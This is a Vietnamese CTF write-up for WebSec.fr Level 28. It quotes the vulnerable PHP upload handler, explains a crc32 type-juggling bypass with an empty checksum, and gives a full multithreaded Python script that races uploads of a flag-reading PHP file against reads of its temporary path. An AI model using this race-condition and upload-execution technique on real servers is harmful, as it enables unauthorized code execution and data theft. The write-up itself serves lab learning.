WebSec.fr Level 28 CTF challenge

Tổng quan:

image

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
<?php
if(isset($_POST['submit'])) {
if ($_FILES['flag_file']['size'] > 4096) {
die('Your file is too heavy.');
}
$filename = './tmp/' . md5($_SERVER['REMOTE_ADDR']) . '.php';

$fp = fopen($_FILES['flag_file']['tmp_name'], 'r');
$flagfilecontent = fread($fp, filesize($_FILES['flag_file']['tmp_name']));
@fclose($fp);

file_put_contents($filename, $flagfilecontent);
if (md5_file($filename) === md5_file('flag.php') && $_POST['checksum'] == crc32($_POST['checksum'])) {
include($filename); // it contains the `$flag` variable
} else {
$flag = "Nope, $filename is not the right file, sorry.";
sleep(1); // Deter bruteforce
}

unlink($filename);
}
?>

Đoạn mã này là một trang web đơn giản cho phép người dùng tải lên một tệp và nhập một giá trị checksum. Mục tiêu là tải lên một tệp tin sao cho hai điều kiện sau được thỏa mãn:

  • md5_file($filename) === md5_file('flag.php')

  • POST['checksum'] == crc32($_POST['checksum'])

Nếu cả hai điều kiện này đều đúng, tệp tin được tải lên sẽ được include, và vì tệp tin đó có thể chứa mã độc, chúng ta có thể thực thi nó để lấy flag.

Tiến hành khai thác

Ở đây ta sẽ thử sử dụng chức năng với 1 file php với nội dung:

1
2
3
4
5
6
7
8
9
// show_flag.php
<?php
// Read the contents of the "flag.php" file
$flag_content = file_get_contents("/flag.php");

// Display the contents of the file
echo $flag_content;

?>

Để xem thử nó có ra flag hay không.

image

Kết quả trả về cho ta chỉ nhận được dòng Nope, ./tmp/06e2d538fba99ca2b2456260bc9e08f5.php is not the right file, sorry.
Ở đoạn /tmp/06e2d538fba99ca2b2456260bc9e08f5.php liệu ta có thể khai thác gì thêm từ thông tin này không?

Trong code có đoạn:

1
$filename = './tmp/' . md5($_SERVER['REMOTE_ADDR']) . '.php';

Ở đây giá trị $filename sau khi upload lên sẽ được đưa vào thư mục tạm là /tmp sau đó là đi với public ip của máy mình và rồi là đuôi file php, vậy nên có thể nhận thấy đây là file cố định với ip của mình và cho dù mình upload bất kì file nào lên thì nó sẽ đều đi vào /tmp/06e2d538fba99ca2b2456260bc9e08f5.php trước.

Ngoài ra trong source còn có đoạn:

1
2
3
4
5
6
7
else {
$flag = "Nope, $filename is not the right file, sorry.";
sleep(1); // Deter bruteforce
}

unlink($filename);
}

Có nghĩa là khi đẩy lên tmp nếu file sau khi check không trùng với md5 và crc32 checksum thì nó sẽ có 1 khoảng thời gian là 1 giây trước khi nó xoá đi file đó và với 1s thì đó là khoảng thời gian khá dài.

Bây giờ có 2 hướng đi đó là bypass được md5 và crc32 check và hướng race condition lợi dụng 1 giây đó. Với hướng đi đầu thì có vẻ bất khả thi vì ta sẽ khó để có thể biết được md5 của flag được giấu là gì cùng với đó là rất khó để tìm được số x sao cho x == crc32(str(x)) vì :

1
2
3
4
5
- crc32 trả ra giá trị 32-bit (từ 0 đến 2³²−1 ≈ 4.29 tỉ).

- Nếu coi hàm f(x) = crc32(str(x)) như một ánh xạ trên không gian 2³² phần tử, thì xác suất bất kỳ x cụ thể thỏa f(x)=x vào khoảng 1/2³².

- Nghĩa là trung bình bạn cần thử ~2³² lần (khoảng 4.29 tỉ) mới mong tìm được một nghiệm — không khả thi bằng dò ngẫu nhiên trên 1 máy.

Vậy nên ta sẽ dùng trick là so sánh crc32 với chuỗi rỗng:

1
2
3
4
5
6
7
8
9
- crc32('') trả về integer 0.

- '' (chuỗi rỗng) khi ép kiểu sang số cũng trở thành 0.

- PHP dùng so sánh lỏng == sẽ ép kiểu nếu cần, vậy '' == crc32('') tức là '' == 0 → true.

- Nhưng '' === crc32('') (so sánh kiểu chặt ===) sẽ false vì kiểu khác (string vs int).

- Vì vậy gửi checksum là chuỗi rỗng (checksum=) sẽ thỏa điều kiện $_POST['checksum'] == crc32($_POST['checksum'])

Vậy nên bây giờ ta chỉ có cách là lợi dụng trong khoảng thời gian 1 giây đó thực hiện request POST file php lên và thực hiện GET luôn giá trị của flag trong đó.

Bây giờ sử dụng script để khai thác:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
# followup_attack.py
import threading, requests, time, random

POST_URL = 'https://websec.fr/level28/index.php'
# replace md5ip with your IP-hash (or compute from your remote IP)
TMP_URL = 'https://websec.fr/level28/tmp/06e2d538fba99ca2b2456260bc9e08f5.php'
FILE_PATH = 'show_flag.php'

NUM_UPLOADERS = 6 # start small (increase slowly if server tolerates)
NUM_READERS = 3
SLEEP_UPLOAD = 0.06 # tune small, don't saturate
SLEEP_READ = 0.02

USER_AGENTS = [
"Mozilla/5.0 (Windows NT 10.0; Win64; x64)",
"curl/7.79.1",
"python-requests/2.x"
]

def uploader(i):
s = requests.Session()
s.headers.update({'User-Agent': random.choice(USER_AGENTS)})
data = {'checksum': '', 'submit': 'Upload and check'} # empty checksum bypass
while True:
try:
# open fresh every request
with open(FILE_PATH, 'rb') as fh:
files = {'flag_file': (FILE_PATH, fh, 'application/octet-stream')}
r = s.post(POST_URL, files=files, data=data, timeout=8)
# optionally log low-volume feedback
if r.status_code != 200:
print(f"[U{i}] status {r.status_code}")
except Exception as e:
print(f"[U{i}] upload err: {e}")
time.sleep(SLEEP_UPLOAD + random.random()*0.02)

def reader(i, stop_event):
s = requests.Session()
s.headers.update({'User-Agent': random.choice(USER_AGENTS)})
while not stop_event.is_set():
try:
r = s.get(TMP_URL, timeout=6)
if r.status_code == 200:
txt = r.text
# quick check for flag pattern
if 'FLAG{' in txt or 'WEBSEC{' in txt:
print(f"[R{i}] !!! FLAG FOUND !!!\n{txt}")
stop_event.set()
return
# debug: when file is not PHP anymore (indicates something changed)
if "<?php" not in txt:
print(f"[R{i}] changed content (snippet): {repr(txt[:200])}")
else:
# minor backoff on non-200 to avoid making things worse
time.sleep(0.05)
except Exception as e:
print(f"[R{i}] read err: {e}")
time.sleep(SLEEP_READ + random.random()*0.005)

if __name__ == "__main__":
stop_event = threading.Event()
threads = []
for i in range(NUM_UPLOADERS):
t = threading.Thread(target=uploader, args=(i,), daemon=True)
t.start()
threads.append(t)
for i in range(NUM_READERS):
t = threading.Thread(target=reader, args=(i, stop_event), daemon=True)
t.start()
threads.append(t)

try:
while not stop_event.is_set():
time.sleep(0.5)
except KeyboardInterrupt:
print("Stopped by user")

File php với mục đích hiển thị nội dung file flag được giấu ở bên trong hệ thống.

1
2
3
4
5
6
7
8
9
// show_flag.php
<?php
// Read the contents of the "flag.php" file
$flag_content = file_get_contents("/flag.php");

// Display the contents of the file
echo $flag_content;

?>

image

Thành công lấy được nội dung flag ở bên trong bằng cách POST và GET nhanh trong vòng 1 giây.